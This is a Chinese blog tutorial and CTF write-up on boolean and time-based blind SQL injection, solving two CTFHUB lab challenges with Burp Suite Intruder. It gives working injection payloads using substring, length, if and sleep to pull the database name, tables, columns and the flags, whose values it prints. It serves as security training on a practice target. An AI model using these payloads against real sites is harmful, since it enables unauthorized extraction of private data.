SQL注入:布尔盲注和时间盲注——CTFHUB 使用Burpsuite进行半自动注入

SQL注入:布尔盲注和时间盲注——CTFHUB为例

一、原理

1.布尔盲注

​ 布尔盲注一般在页面只会显示正确和错误两种显示,因此在这种情况下我们不知道如何去获取数据库的详细内容,包括当前所在的数据库,数据库里面的表以及每个表的字段和内容了。在这种情况下需要借助一些特别的函数来判断注入的语句是否正确,从而获取数据库的信息。以下函数是进行盲注时常用的函数

length(str) //返回str字符串的长度。
1 and length(database())=4 //判断数据库名字的长度是否为4
1 and length(database())>4 //判断数据库名字长度是否大于4
substring(str, pos, len)//将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
1 and substring(database(),1,1)='q'//判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q'//判断数据库名字第二个字母是否为q
mid(str,pos,len)//跟上面的用法一模一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ascii(mid(database(),1,1))>115 //判断数据库名称第一个字母的ASCII码是否大于115
ascii(substring(database(),1,1))>112 //判断数据库名称第一个字母的ASCII码是否大于112
ord(str) //同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c。此函数常用来进行时间盲注。
if(1>2,1,0) //1>2为假返回0
sleep(n) //这个函数的作用就是休眠,参数是休眠的时长,以秒为单位,也可以是小数,也就是暂停数据库n秒。
我们这里进行盲注,意思就是你要等n秒才能得到结果,这个函数和if连用进行时间盲注的,用法下面会介绍。

2.时间盲注

​ 时间盲注也叫延时盲注,相当于布尔盲注的一种加强型吧,布尔盲注提交后页面还有正确或者错误的显示,而时间盲注一点显示都没有。这个时候我们需要通过一个特别的函数sleep()来进行判断我们的输入是否正确执行。例如以上面的if判断为例,我们构造

if(2>1,sleep(5),1)

这样2>1为真,那么执行sleep(5),等待5秒页面才会有输出。再比如

1 and if(length(database())>4,sleep(5),1)

如果当前数据库名称长度大于4,那么等待5秒当前页面才会有输出,不然就直接有输出。

二、布尔盲注——CTFHUB为例

使用burpsuite进行半自动化注入,当然也可以手工注入或者使用sqlmap但是这里就不演示了。

1.首先输入1

在这里插入图片描述

2.判断当前数据库名称长度

1 and length(database())=4

在这里插入图片描述

输出显示成功,说明数据库名称长度为4。

3.获取当前数据库名称

1 and substring(database(),1,1)='q'

这里随便输入一个字符,肯定是不对的,我们打开burpsuite进行抓包,将抓到的包发送到intruder模块。
在这里插入图片描述

攻击类型选为Cluster bomb

在这里插入图片描述

选择要进行爆破的字符,一个是第一个1,一个是q

在这里插入图片描述

设置第一个字符的payload,类型为Numbers,由于我们已经知道长度为4,可以直接设置,其实不知道也没关系只要设置的比需要爆破字符的长度要长就可以了。

在这里插入图片描述

设置第二个需要爆破字符的payload,类型为Simple list,爆破字段就是26个英文字母就可以了

在这里插入图片描述

然后点击开始攻击得到结果,按照length从高到低排序 前面四个就是我们想要的结果

在这里插入图片描述

按照payload1的顺序进行排序就是sqli,这就是当前数据库名称。

4.获取表名

limit 0,1 是获取第一个表名,后续步骤和之前一样都是抓包,进行爆破。

1 and substring((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='q'

在这里插入图片描述

这里不知道第一个表名称长度,懒得爆了 直接设到10。

在这里插入图片描述

后续都是一样的也是26个字母爆破,结果如下

在这里插入图片描述

可以看到按payload1进行排序第一个表为news,然后改一下SQL语句改成limit 1,1重复上述步骤就可以得到第二个表了

1 and substring((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1)='q'

结果如下

在这里插入图片描述

第二个表叫flag也就是我们要找的表。

5.获取字段名

1 and substring((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1)='q'

步骤与上述一样,结果如下字段名叫flag符合CTFHUB一贯的风格。

在这里插入图片描述

6.获取flag

1 and substring((select flag from sqli.flag),1,1)='q'

步骤与上述一样,不过这次长度有点长需要到40,同时需要改一下‘q’爆破的字典,要在26个字母的情况下加0到9,这10个数字,同时还要加‘{’和‘}’两个符号。

在这里插入图片描述

在这里插入图片描述

得到结果

在这里插入图片描述

按照payload1进行排序得到结果为ctfhub{420687ea7384d55dbc867e8f}提交就可以了

三、时间盲注——CTFHUB为例

1.输入1

在这里插入图片描述

啥也没有

2.判断数据库名称长度

1 and if(length(database())=4,sleep(5),1)

在这里插入图片描述

页面5s多才响应证明当前数据库名称长度为4

3.获取数据库名

1 and if(substring(database(),1,1)='q',sleep(5),1)

不管对不对burpsuite抓包,和之前一样进行爆破。

在这里插入图片描述

得到结果

在这里插入图片描述

如果和进行布尔盲注一样使用length进行筛选是没有用的,通过长度没有办法判断出执行成功的数据包。由于sleep(5)所以我们要筛选出响应时间大于5s的数据包才是我们想要的。我们在columns里面勾选Response received和Response completed这两个选项

在这里插入图片描述

在这里插入图片描述

这个时候在进行筛选,看到响应时间最大的四个就是执行成功的。

在这里插入图片描述

按照payload1进行排序得到数据库名称sqli

4.获取表名

1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='q',sleep(5),1)

步骤和上述一样使用burpsuite,我这里直接给出结果

在这里插入图片描述

第一个表名为news

1 and if(substring((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1)='q',sleep(5),1)

在这里插入图片描述

第二个表名为flag

5.获取字段名

1 and if(substring((select column_name from information_schema.columns where table_name='flag'),1,1)='q',sleep(5),1)

在这里插入图片描述

一如既往字段名还是flag

6.获取flag

1 and if(substring((select flag from sqli.flag),1,1)='q',sleep(5),1)

步骤还是一样,但是注意爆破中payload1的长度要大至少40,,payload2的字典不仅有26个字母还有10个数字加上’{’’}'这两个字符。

在这里插入图片描述

看着有些乱,得到flag为ctfhub{b91b6a4baf598b5570e80bcc}

写作不易,大家三连点赞评论收藏一下吧!有什么什么问题也可以在评论问我哦

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值